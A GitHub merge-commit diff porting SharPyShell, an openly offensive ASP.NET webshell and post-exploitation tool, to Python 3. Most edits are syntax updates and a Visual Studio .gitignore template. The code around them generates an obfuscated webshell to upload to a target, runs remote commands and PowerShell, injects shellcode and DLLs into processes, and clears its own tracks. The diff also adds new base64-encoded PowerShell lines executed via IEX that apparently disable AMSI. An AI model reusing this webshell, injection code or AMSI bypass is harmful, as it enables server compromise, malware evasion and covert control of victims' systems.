Merge pull request #18 from antonioCoco/py3

Upgrade to version 1.3.0

.gitignore

@@ -1,7 +1,402 @@
+#custom ignores
+
 *.pyc
 .idea/
+venv/
 
 # exclude everything
 output/*
 # exception to the rule
 !output/.gitkeep 
+
+
+# Visual Studio template
+
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+##
+## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
+
+# User-specific files
+*.rsuser
+*.suo
+*.user
+*.userosscache
+*.sln.docstates
+
+# User-specific files (MonoDevelop/Xamarin Studio)
+*.userprefs
+
+# Mono auto generated files
+mono_crash.*
+
+# Build results
+[Dd]ebug/
+[Dd]ebugPublic/
+[Rr]elease/
+[Rr]eleases/
+x64/
+x86/
+[Ww][Ii][Nn]32/
+[Aa][Rr][Mm]/
+[Aa][Rr][Mm]64/
+bld/
+[Bb]in/
+[Oo]bj/
+[Ll]og/
+[Ll]ogs/
+
+# Visual Studio 2015/2017 cache/options directory
+.vs/
+# Uncomment if you have tasks that create the project's static files in wwwroot
+#wwwroot/
+
+# Visual Studio 2017 auto generated files
+Generated\ Files/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+# NUnit
+*.VisualState.xml
+TestResult.xml
+nunit-*.xml
+
+# Build Results of an ATL Project
+[Dd]ebugPS/
+[Rr]eleasePS/
+dlldata.c
+
+# Benchmark Results
+BenchmarkDotNet.Artifacts/
+
+# .NET Core
+project.lock.json
+project.fragment.lock.json
+artifacts/
+
+# ASP.NET Scaffolding
+ScaffoldingReadMe.txt
+
+# StyleCop
+StyleCopReport.xml
+
+# Files built by Visual Studio
+*_i.c
+*_p.c
+*_h.h
+*.ilk
+*.meta
+*.obj
+*.iobj
+*.pch
+*.pdb
+*.ipdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*_wpftmp.csproj
+*.log
+*.tlog
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.svclog
+*.scc
+
+# Chutzpah Test files
+_Chutzpah*
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opendb
+*.opensdf
+*.sdf
+*.cachefile
+*.VC.db
+*.VC.VC.opendb
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+*.sap
+
+# Visual Studio Trace Files
+*.e2e
+
+# TFS 2012 Local Workspace
+$tf/
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+*.DotSettings.user
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# AxoCover is a Code Coverage Tool
+.axoCover/*
+!.axoCover/settings.json
+
+# Coverlet is a free, cross platform Code Coverage Tool
+coverage*.json
+coverage*.xml
+coverage*.info
+
+# Visual Studio code coverage results
+*.coverage
+*.coveragexml
+
+# NCrunch
+_NCrunch_*
+.*crunch*.local.xml
+nCrunchTemp_*
+
+# MightyMoose
+*.mm.*
+AutoTest.Net/
+
+# Web workbench (sass)
+.sass-cache/
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.[Pp]ublish.xml
+*.azurePubxml
+# Note: Comment the next line if you want to checkin your web deploy settings,
+# but database connection strings (with potential passwords) will be unencrypted
+*.pubxml
+*.publishproj
+
+# Microsoft Azure Web App publish settings. Comment the next line if you want to
+# checkin your Azure Web App publish settings, but sensitive information contained
+# in these scripts will be unencrypted
+PublishScripts/
+
+# NuGet Packages
+*.nupkg
+# NuGet Symbol Packages
+*.snupkg
+# The packages folder can be ignored because of Package Restore
+**/[Pp]ackages/*
+# except build/, which is used as an MSBuild target.
+!**/[Pp]ackages/build/
+# Uncomment if necessary however generally it will be regenerated when needed
+#!**/[Pp]ackages/repositories.config
+# NuGet v3's project.json files produces more ignorable files
+*.nuget.props
+*.nuget.targets
+
+# Nuget personal access tokens and Credentials
+nuget.config
+
+# Microsoft Azure Build Output
+csx/
+*.build.csdef
+
+# Microsoft Azure Emulator
+ecf/
+rcf/
+
+# Windows Store app package directories and files
+AppPackages/
+BundleArtifacts/
+Package.StoreAssociation.xml
+_pkginfo.txt
+*.appx
+*.appxbundle
+*.appxupload
+
+# Visual Studio cache files
+# files ending in .cache can be ignored
+*.[Cc]ache
+# but keep track of directories ending in .cache
+!?*.[Cc]ache/
+
+# Others
+ClientBin/
+~$*
+*~
+*.dbmdl
+*.dbproj.schemaview
+*.jfm
+*.pfx
+*.publishsettings
+orleans.codegen.cs
+
+# Including strong name files can present a security risk
+# (https://github.com/github/gitignore/pull/2483#issue-259490424)
+#*.snk
+
+# Since there are multiple workflows, uncomment next line to ignore bower_components
+# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
+#bower_components/
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file
+# to a newer Visual Studio version. Backup files are not needed,
+# because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+ServiceFabricBackup/
+*.rptproj.bak
+
+# SQL Server files
+*.mdf
+*.ldf
+*.ndf
+
+# Business Intelligence projects
+*.rdl.data
+*.bim.layout
+*.bim_*.settings
+*.rptproj.rsuser
+*- [Bb]ackup.rdl
+*- [Bb]ackup ([0-9]).rdl
+*- [Bb]ackup ([0-9][0-9]).rdl
+
+# Microsoft Fakes
+FakesAssemblies/
+
+# GhostDoc plugin setting file
+*.GhostDoc.xml
+
+# Node.js Tools for Visual Studio
+.ntvs_analysis.dat
+node_modules/
+
+# Visual Studio 6 build log
+*.plg
+
+# Visual Studio 6 workspace options file
+*.opt
+
+# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
+*.vbw
+
+# Visual Studio LightSwitch build output
+**/*.HTMLClient/GeneratedArtifacts
+**/*.DesktopClient/GeneratedArtifacts
+**/*.DesktopClient/ModelManifest.xml
+**/*.Server/GeneratedArtifacts
+**/*.Server/ModelManifest.xml
+_Pvt_Extensions
+
+# Paket dependency manager
+.paket/paket.exe
+paket-files/
+
+# FAKE - F# Make
+.fake/
+
+# CodeRush personal settings
+.cr/personal
+
+# Python Tools for Visual Studio (PTVS)
+__pycache__/
+*.pyc
+
+# Cake - Uncomment if you are using it
+# tools/**
+# !tools/packages.config
+
+# Tabs Studio
+*.tss
+
+# Telerik's JustMock configuration file
+*.jmconfig
+
+# BizTalk build output
+*.btp.cs
+*.btm.cs
+*.odx.cs
+*.xsd.cs
+
+# OpenCover UI analysis results
+OpenCover/
+
+# Azure Stream Analytics local run output
+ASALocalRun/
+
+# MSBuild Binary and Structured Log
+*.binlog
+
+# NVidia Nsight GPU debugger configuration file
+*.nvuser
+
+# MFractors (Xamarin productivity tool) working folder
+.mfractor/
+
+# Local History for Visual Studio
+.localhistory/
+
+# BeatPulse healthcheck temp database
+healthchecksdb
+
+# Backup folder for Package Reference Convert tool in Visual Studio 2017
+MigrationBackup/
+
+# Ionide (cross platform F# VS Code tools) working folder
+.ionide/
+
+# Fody - auto-generated XML schema
+FodyWeavers.xsd
+
+# VS Code files for those working on multiple tools
+.vscode/*
+!.vscode/settings.json
+!.vscode/tasks.json
+!.vscode/launch.json
+!.vscode/extensions.json
+*.code-workspace
+
+# Local History for Visual Studio Code
+.history/
+
+# Windows Installer files from build outputs
+*.cab
+*.msi
+*.msix
+*.msm
+*.msp
+
+# JetBrains Rider
+.idea/
+*.sln.iml

README.md

@@ -17,12 +17,12 @@ python SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepass
 
 ## Requirements
 
-Python version >= 2.7
+Python version >= 3.6
 
 and
 
 ```
-pip install -r requirements.txt
+pip3 install -r requirements.txt
 ```
 
 ## Description

SharPyShell.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
 
 from core.Generate import Generate
 from core.SharPyShellPrompt import SharPyShellPrompt
@@ -144,7 +144,7 @@ def create_interact_parser(subparsers):
 
 
 if __name__ == '__main__':
-    print config.banner
+    print (config.banner)
     parser = argparse.ArgumentParser(prog='SharPyShell', formatter_class=argparse.RawTextHelpFormatter,
                                      epilog=example_text_main)
     parser.add_argument('--version', action='version', version=config.header)
@@ -153,11 +153,14 @@ if __name__ == '__main__':
     create_interact_parser(subparsers)
     args = parser.parse_args()
 
-    if args.mode == 'generate':
-        generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
-        generate_obj.generate()
+    if args.__contains__('mode'):
+        if args.mode == 'generate':
+            generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
+            generate_obj.generate()
 
-    if args.mode == 'interact':
-        prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
-                                   args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
-        prompt.cmdloop('\n')
+        if args.mode == 'interact':
+            prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
+                                       args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
+            prompt.cmdloop('\n')
+    else:
+        parser.print_help()

core/ChannelAES.py

@@ -1,5 +1,7 @@
 from utils.Singleton import Singleton
 from Crypto.Cipher import AES
+from Crypto.Util.Padding import pad
+from Crypto.Util.Padding import unpad
 
 
 class ChannelAES(Singleton):
@@ -8,18 +10,16 @@ class ChannelAES(Singleton):
     BS = 16
 
     def __init__(self, password):
-        self.hashed_password = password.decode('hex')
+        self.hashed_password = bytes.fromhex(password)
         self.IV = self.hashed_password[0:self.BS]
 
     def encrypt(self, plain_data):
-        pad = lambda s: s + (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS)
-        plain_data_pad = pad(plain_data)
+        plain_data_pad = pad(plain_data, self.BS)
         aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
         encrypted_data = aes.encrypt(plain_data_pad)
         return encrypted_data
 
     def decrypt(self, encrypted_data):
         aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
-        unpad = lambda s: s[:-ord(s[len(s) - 1:])]
         decrypted_data = aes.decrypt(encrypted_data)
-        return unpad(decrypted_data)
+        return unpad(decrypted_data, self.BS)

core/ChannelXOR.py

@@ -1,17 +1,16 @@
 from utils.Singleton import Singleton
-
+from itertools import cycle
 
 class ChannelXOR(Singleton):
     password = None
 
     def __init__(self, password):
-        self.password = password.encode('utf-8')
+        self.password = password
 
     def encrypt(self, plain_data):
-        key = self.password
-        from itertools import izip, cycle
-        xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
-        return bytearray(xored)
+        key = self.password.encode()
+        xored = b''.join(bytes([(x ^ y)]) for (x, y) in list(zip(plain_data, cycle(key))))
+        return xored
 
     def decrypt(self, encrypted_data):
-        return self.encrypt(encrypted_data)
+        return self.encrypt(encrypted_data)

core/Environment.py

@@ -7,7 +7,7 @@ class GetTempDirectory(Module):
 
     _exception_class = GetTempDirectoryException
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
                 using System;using System.IO;using System.Diagnostics;using System.Text;
                 public class SharPyShell
                 {                    
@@ -45,7 +45,7 @@ class GetEnvDirectory(Module):
 
     _exception_class = GetEnvDirectoryException
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
                 using System;using System.IO;using System.Diagnostics;using System.Text;
                 using System.Security.AccessControl;using System.Security.Principal;
                 
@@ -101,7 +101,7 @@ class ClearDirectories(Module):
 
     _exception_class = ClearDirectoriesException
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
                 using System;using System.IO;using System.Diagnostics;using System.Text;
                 public class SharPyShell
                 {                    
@@ -198,7 +198,7 @@ class Environment:
         excluded_path = ['env_directory', 'working_directory']
         modules_path = ['@"' + v + '"' for k, v in env_settings.items() if k not in excluded_path]
         modules_path_string_array = '{' + ','.join(modules_path) + '}'
-        print '\nRemoving tracks....\n'
+        print ('\nRemoving tracks....\n')
         result = self.clear_dir_obj.run([modules_path_string_array, env_directory])
         if '{{{ClearDirectoriesException}}}' not in result:
             result = format_output(result)

core/Generate.py

@@ -1,8 +1,10 @@
 from core import config
 from struct import unpack
+from itertools import cycle
 import hashlib
 import random
-
+import io
+import os
 
 class Generate():
 
@@ -11,11 +13,12 @@ class Generate():
     __obfuscator = ''
     __endian_type = ''
 
-    __templates_path = config.sharpyshell_path+'agent/'
-    __runtime_compiler_path = __templates_path + 'runtime_compiler/'
+    __templates_path = config.sharpyshell_path+'agent'+os.sep
+    __runtime_compiler_path = __templates_path + 'runtime_compiler'+os.sep
     __output_path = config.output_path + 'sharpyshell.aspx'
 
     def __init__(self, password, encryption, obfuscator, endian_type, output):
+        password = password.encode('utf-8')
         if encryption == 'aes128':
             self.__password = hashlib.md5(password).hexdigest()
         else:
@@ -41,15 +44,12 @@ class Generate():
 
     def __generate_webshell_code_encrypted_dll(self, template_code):
         def xor_file(path, key):
-            with open(path, 'rb') as file_handle:
+            with io.open(path, mode='rb') as file_handle:
                 plain_data = file_handle.read()
-            from itertools import izip, cycle
-            xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
-            return bytearray(xored)
-
-        def generate_byte_file_string(byte_arr):
-            output = [str(hex(byte)) for byte in byte_arr]
-            return '{' + ",".join(output) + '}'
+            xored = []        
+            for (x, y) in list(zip(plain_data, cycle(key))):
+                xored.append(hex(x ^ ord(y)))
+            return '{' + ",".join(xored) + '}'
 
         if 'aes' in self.__encryption:
             dll_name = 'runtime_compiler_aes.dll'
@@ -57,14 +57,13 @@ class Generate():
             dll_name = 'runtime_compiler_xor.dll'
         runtime_compiler_dll_path = self.__runtime_compiler_path + dll_name
         obfuscated_dll = xor_file(runtime_compiler_dll_path, self.__password)
-        obfuscated_dll_string = generate_byte_file_string(obfuscated_dll)
         webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password)
-        webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll_string)
+        webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll)
         return webshell_code
 
     def __generate_webshell_code_ulong_compression(self, template_code):
         def get_dll_code(dll_code_path):
-            with open(dll_code_path, 'r') as file_handle:
+            with open(dll_code_path, 'rb') as file_handle:
                 dll_code = file_handle.read()
             return dll_code
 
@@ -79,7 +78,7 @@ class Generate():
                 representation = '='
             for i in range(0, len(dll_code), 8):
                 int_conversion = unpack(representation + 'Q', dll_code[i:i + 8])[0]
-                ulong_quotients.append(str(int_conversion / divisor))
+                ulong_quotients.append(str(int_conversion // divisor))
                 ulong_remainders.append(str(int_conversion % divisor))
             ulong_quotients_string = '{' + ','.join(ulong_quotients) + '}'
             ulong_remainders_string = '{' + ','.join(ulong_remainders) + '}'
@@ -109,5 +108,5 @@ class Generate():
         webshell_output_path = self.__output_path
         with open(webshell_output_path, 'w') as file_handle:
             file_handle.write(webshell_code)
-        print 'SharPyShell webshell written correctly to: ' + webshell_output_path
-        print '\nUpload it to the target server and let\'s start having some fun :) \n\n'
+        print ('SharPyShell webshell written correctly to: ' + webshell_output_path)
+        print ('\nUpload it to the target server and let\'s start having some fun :) \n\n')

core/Module.py

@@ -20,7 +20,7 @@ class Module(Singleton):
         """
     '''runtime_code must have the class name "SharPyShell" and the main function name "ExecRuntime". The ExecRuntime 
        function will be the code run on the server and it must return results in byte[] type '''
-    _runtime_code = ur"""
+    _runtime_code = r"""
                 using System;using System.IO;using System.Diagnostics;using System.Text;
                 public class SharPyShell
                 {                    
@@ -56,17 +56,17 @@ class Module(Singleton):
     # End Override this method
 
     def _encrypt_request(self, request_clear):
-        request_encrypted = self._channel_enc_obj.encrypt(request_clear)
+        request_encrypted = self._channel_enc_obj.encrypt(request_clear.encode())
         request_encrypted_encoded = base64.b64encode(request_encrypted)
-        return request_encrypted_encoded
+        return request_encrypted_encoded.decode()
 
     def _post_request(self, request_encrypted_encoded):
         response_status_code, response_headers, response_text = \
             self._request_object.send_request(request_encrypted_encoded)
         if response_status_code != 200:
-            raise self._exception_class('{{{' + self._exception_class.__name__ + '}}}\n' +
+            raise self._exception_class('{{{' + str(self._exception_class.__name__) + '}}}\n' +
                                         str(response_headers) + '\n\n' +
-                                        response_text)
+                                        str(response_text))
         return response_text
 
     def _decrypt_response(self, encrypted_response_encoded):
@@ -75,6 +75,7 @@ class Module(Singleton):
         return response_clear
 
     def _parse_response(self, response):
+        response = response.decode() if isinstance(response, bytes) else response
         if '{{{' + self._exception_class.__name__ + '}}}' in response:
             raise self._exception_class(str(response))
         if '{{{SharPyShellError}}}' in response or '{{{PythonError}}}' in response:

core/Request.py

@@ -1,4 +1,5 @@
 from utils.Singleton import Singleton
+from utils.Singleton import Singleton
 import ssl
 import urllib3
 from urllib3.contrib.socks import SOCKSProxyManager

core/SharPyShellPrompt.py

@@ -1,11 +1,13 @@
-import config
+from core import config
 from cmd import Cmd
 import os
 import glob
 import sys
+import importlib
 import shlex
 import hashlib
 import signal
+import platform
 from utils import prettify
 from utils.normalize_args import normalize_args
 from utils.random_string import random_generator
@@ -28,9 +30,13 @@ class SharPyShellPrompt(Cmd):
 
     def __init__(self, password, channel_enc_mode, default_shell, url, user_agent,
                  cookies, custom_headers, insecure_ssl, proxy):
-        reload(sys)
-        sys.setdefaultencoding('utf8')
-        signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
+        importlib.reload(sys)
+        #sys.setdefaultencoding('utf8')
+        password = password.encode('utf-8')
+        if platform.system() == 'Windows':
+            signal.signal(signal.SIGTERM, lambda s, f: self.do_quit())
+        else:
+            signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
         Cmd.__init__(self)
         if channel_enc_mode == 'aes128':
             self.password = hashlib.md5(password).hexdigest()
@@ -80,7 +86,7 @@ class SharPyShellPrompt(Cmd):
             return self.emptyline()
         if cmd.startswith('#'):
             response = self.onecmd_custom(cmd.lstrip('#'), args)
-            print response
+            print (response)
             return response
         if cmd in self.helper_commands:
             func = getattr(self, 'do_' + cmd.lstrip('#'))
@@ -113,7 +119,7 @@ class SharPyShellPrompt(Cmd):
         """Change the current working directory."""
         working_directory = self.modules_settings['working_directory']
         if arg == "" or arg == " " or arg == '.':
-            print working_directory
+            print (working_directory)
             return
         if arg == '..':
             arg = working_directory.split('\\')
@@ -127,7 +133,7 @@ class SharPyShellPrompt(Cmd):
             elif len(arg) > 0:
                 arg = '\\'.join(arg)
             else:
-                print "Empty Path."
+                print ("Empty Path.")
                 return
         else:
             if '/' in arg:
@@ -143,25 +149,25 @@ class SharPyShellPrompt(Cmd):
         if '{{{SharPyShellError}}}' not in response:
             self.modules_settings['working_directory'] = arg
         else:
-            print response
+            print (response)
         return response
 
     def do_help(self, arg):
         """List available commands."""
         if arg and arg.lstrip('#') in self.modules_loaded_tree:
-            print self.modules_loaded[arg.lstrip('#')].complete_help
+            print (self.modules_loaded[arg.lstrip('#')].complete_help)
         else:
-            print "\n\n" + self.doc_header + "\n"
+            print ("\n\n" + self.doc_header + "\n")
             data = [['\nCommands\n', '\nDesc\n']]
             for module_name in sorted(self.modules_loaded_tree):
                 data.append(['#%s' % module_name, self.modules_loaded[module_name].short_help])
-            print prettify.tablify(data, table_border=False)
+            print (prettify.tablify(data, table_border=False))
             print
-            print "\n" + "SharPyShell Helper Commands:" + "\n"
+            print ("\n" + "SharPyShell Helper Commands:" + "\n")
             data = [['\nCommands\n', '\nDesc\n']]
             for module_name in sorted(self.helper_commands):
                 data.append(['%s' % module_name, getattr(self, 'do_'+module_name).__doc__])
-            print prettify.tablify(data, table_border=False)
+            print (prettify.tablify(data, table_border=False))
             print
 
     def complete_help(self, text, line, start_index, end_index):
@@ -217,10 +223,10 @@ class SharPyShellPrompt(Cmd):
             return
         # Clean trailing newline if existent to prettify output
         result = result[:-1] if (
-                isinstance(result, basestring) and
+                isinstance(result, str) and
                 result.endswith('\n')
         ) else result
-        print result
+        print (result)
 
     def cmdloop(self, intro=None):
         """Repeatedly issue a prompt, accept input, parse an initial prefix
@@ -251,7 +257,7 @@ class SharPyShellPrompt(Cmd):
                     else:
                         if self.use_rawinput:
                             try:
-                                line = raw_input(self.prompt)
+                                line = input(self.prompt)
                             except EOFError:
                                 line = 'EOF'
                         else:
@@ -279,10 +285,10 @@ class SharPyShellPrompt(Cmd):
     def do_quit(self, args=[]):
         """Quit the program."""
         if self.online:
-            print "\n\nQuitting...\n"
-            print self.env_obj.clear_env(self.modules_settings)
+            print ("\n\nQuitting...\n")
+            print (self.env_obj.clear_env(self.modules_settings))
         else:
-            print args[0] + "\n\n\nTarget Offline...\n"
+            print (args[0] + "\n\n\nTarget Offline...\n")
         raise SystemExit
 
     def do_exit(self, args=[]):

core/config.py

@@ -1,7 +1,7 @@
 import sys
 import os
 
-sharpyshell_version='1.2.1'
+sharpyshell_version='1.3'
 
 header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
 banner = """
@@ -19,7 +19,7 @@ banner = """
 
     """ % header
 
-sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
+sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + os.sep
 sys.path.insert(0, sharpyshell_path)
-modules_paths=sharpyshell_path + 'modules/'
-output_path=sharpyshell_path + 'output/'
+modules_paths=sharpyshell_path + 'modules' + os.sep
+output_path=sharpyshell_path + 'output' + os.sep

modules/download.py

@@ -2,6 +2,7 @@ from core.Module import Module, ModuleException
 from core import config
 import ntpath
 import traceback
+from time import sleep
 
 
 class DownloadModuleException(ModuleException):
@@ -23,7 +24,7 @@ class Download(Module):
         Positional arguments:
             remote_input_path               The file path you want to download from the remote server
             local_output_path               The path where the file will be saved on your local machine
-                                            Default: 'output/' directory of Sharpyshell directory
+                                            Default: 'output' directory of Sharpyshell directory
             chunk_size                      The maximum limit of a chunk to be transferred over the network
                                             Default: 102400
         
@@ -36,7 +37,7 @@ class Download(Module):
                 #download C:\windows\system32\cmd.exe /home/user/cmd.exe 1024
     """
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
             using System;using System.IO;using System.Diagnostics;using System.Text;
             public class SharPyShell{                    
                 public byte[] Download(string arg){
@@ -56,7 +57,7 @@ class Download(Module):
             }
     """
 
-    __runtime_code_split_file = ur"""
+    __runtime_code_split_file = r"""
                 using System;using System.IO;using System.Diagnostics;using System.Text;
                 public class SharPyShell{                    
                     public byte[] Download(string arg, int chunk, int offset){
@@ -79,7 +80,7 @@ class Download(Module):
                 }
         """
 
-    __runtime_code_get_file_size = ur"""
+    __runtime_code_get_file_size = r"""
             using System;using System.IO;using System.Diagnostics;using System.Text;
             public class SharPyShell{                    
                 string GetFileSize(string path){
@@ -115,8 +116,14 @@ class Download(Module):
             file_open_mode = 'ab'
         else:
             file_open_mode = 'wb'
-        with open(output_path, file_open_mode) as outfile:
-            outfile.write(file_content)
+        try:
+            with open(output_path, file_open_mode) as outfile:
+                outfile.write(file_content)
+        # tune for Windows race condition on file access when the chunk_size is very small, weird...
+        except PermissionError:
+            sleep(1)
+            with open(output_path, file_open_mode) as outfile:
+                outfile.write(file_content)
         output = "File Downloaded correctly to " + output_path
         return output
 
@@ -163,11 +170,11 @@ class Download(Module):
                 encrypted_request = self._encrypt_request(req)
                 encrypted_response = self._post_request(encrypted_request)
                 decrypted_response = self._decrypt_response(encrypted_response)
-                file_content = self._parse_response(decrypted_response)
+                file_content = decrypted_response
                 if len(requests) > 1:
                     parsed_response = self.__write_local_file(file_content, download_output_path, split=True)
-                    print 'Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\
-                          str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path
+                    print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\
+                          str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path)
                 else:
                     parsed_response = self.__write_local_file(file_content, download_output_path)
         except ModuleException as module_exc:

modules/exec_cmd.py

@@ -30,7 +30,7 @@ class Exec_cmd(Module):
                 #exec_cmd echo test > C:\Windows\Temp\test.txt
     """
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
                 using System;using System.IO;using System.Diagnostics;using System.Text;
                 public class SharPyShell
                 {                    

modules/exec_ps.py

@@ -32,7 +32,7 @@ class Exec_ps(Module):
 
         """
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
                     using System;using System.IO;using System.Diagnostics;using System.Text;
                     public class SharPyShell
                     {                    
@@ -80,7 +80,7 @@ class Exec_ps(Module):
         if '""' in cmd:
             cmd = cmd.replace('""', '"')
         cmd = '$ProgressPreference = "SilentlyContinue";' + cmd
-        cmd = b64encode(cmd.encode('UTF-16LE'))
+        cmd = str(b64encode(cmd.encode('UTF-16LE')), 'UTF-8')
         working_path = self._module_settings['working_directory']
         return self._runtime_code % (cmd, working_path)
 

modules/inject_dll_reflective.py

@@ -52,7 +52,7 @@ class Inject_dll_reflective(Inject_shellcode):
     def __get_reflective_loader_offset(self, dll_path):
         pe_parser = pefile.PE(dll_path)
         for exported_function in pe_parser.DIRECTORY_ENTRY_EXPORT.symbols:
-            if 'ReflectiveLoader' in exported_function.name:
+            if 'ReflectiveLoader' in str(exported_function.name):
                 reflective_loader_rva = exported_function.address
                 return hex(pe_parser.get_offset_from_rva(reflective_loader_rva))
         raise self._exception_class('The DLL does not contain a reflective loader function.\n')
@@ -63,7 +63,7 @@ class Inject_dll_reflective(Inject_shellcode):
         dll_path = config.modules_paths + 'reflective_dll/' + dll_path
         code_offset = str(self.__get_reflective_loader_offset(dll_path))
         with open(dll_path, 'rb') as file_handle:
-            byte_arr = bytearray(file_handle.read())
+            byte_arr = file_handle.read()
         base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr)
         if injection_type == 'remote_virtual_protect':
             runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll,

modules/inject_dll_srdi.py

@@ -38,14 +38,12 @@ class sRDI:
             functionHash = 0
 
             for b in function:
-                b = ord(b)
                 functionHash = ror(functionHash, 13, 32)
                 functionHash += b
 
             moduleHash = 0
 
             for b in module:
-                b = ord(b)
                 moduleHash = ror(moduleHash, 13, 32)
                 moduleHash += b
 
@@ -57,7 +55,6 @@ class sRDI:
             functionHash = 0
 
             for b in function:
-                b = ord(b)
                 functionHash = ror(functionHash, 13, 32)
                 functionHash += b
 
@@ -281,7 +278,7 @@ class Inject_dll_srdi(Inject_shellcode):
             thread_parameters, exported_function_name, exported_function_data = self._parse_run_args(args)
         dll_path = config.modules_paths + 'dll/' + dll_path
         with open(dll_path, 'rb') as file_handle:
-            dll_bin_byte_arr = bytearray(file_handle.read())
+            dll_bin_byte_arr = file_handle.read()
         srdi_object = sRDI()
         if exported_function_name != 0x10:
             exported_function_name = srdi_object.HashFunctionName(exported_function_name)

modules/inject_shellcode.py

@@ -45,7 +45,7 @@ class Inject_shellcode(Module):
                                                 
     """
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
                     using System;using System.IO;using System.Diagnostics;using System.Text;
                     using System.Runtime.InteropServices; using System.IO.Compression;
 
@@ -230,7 +230,7 @@ class Inject_shellcode(Module):
                     }   
                     """
 
-    _runtime_code_virtual = ur"""
+    _runtime_code_virtual = r"""
                     IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                     if(codeMemAddress == (IntPtr)0){
                         output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); 
@@ -245,7 +245,7 @@ class Inject_shellcode(Module):
                     output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
     """
 
-    _runtime_code_virtual_protect = ur"""
+    _runtime_code_virtual_protect = r"""
                     uint codeMemSize = codeMemorySize;
                     IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
                     if(codeMemAddress == (IntPtr)0){

modules/invoke_ps_module.py

@@ -37,7 +37,9 @@ class Invoke_ps_module(Module):
                 #invoke_ps_module PowerUp.ps1 ';Invoke-AllChecks'
     """
 
-    _ps_code = ur"""
+    _ps_code = r"""
+                [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw=="))|IEX;
+                [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw=="))|IEX;
                 $path_in_module="%s";
                 $path_in_app_code="%s";
                 $key=[System.Text.Encoding]::UTF8.GetBytes('%s');
@@ -57,7 +59,9 @@ class Invoke_ps_module(Module):
                 Remove-Item -Path $path_in_app_code -Force 2>&1 | Out-Null;
     """
 
-    _ps_code_no_appended_code = ur"""
+    _ps_code_no_appended_code = r"""
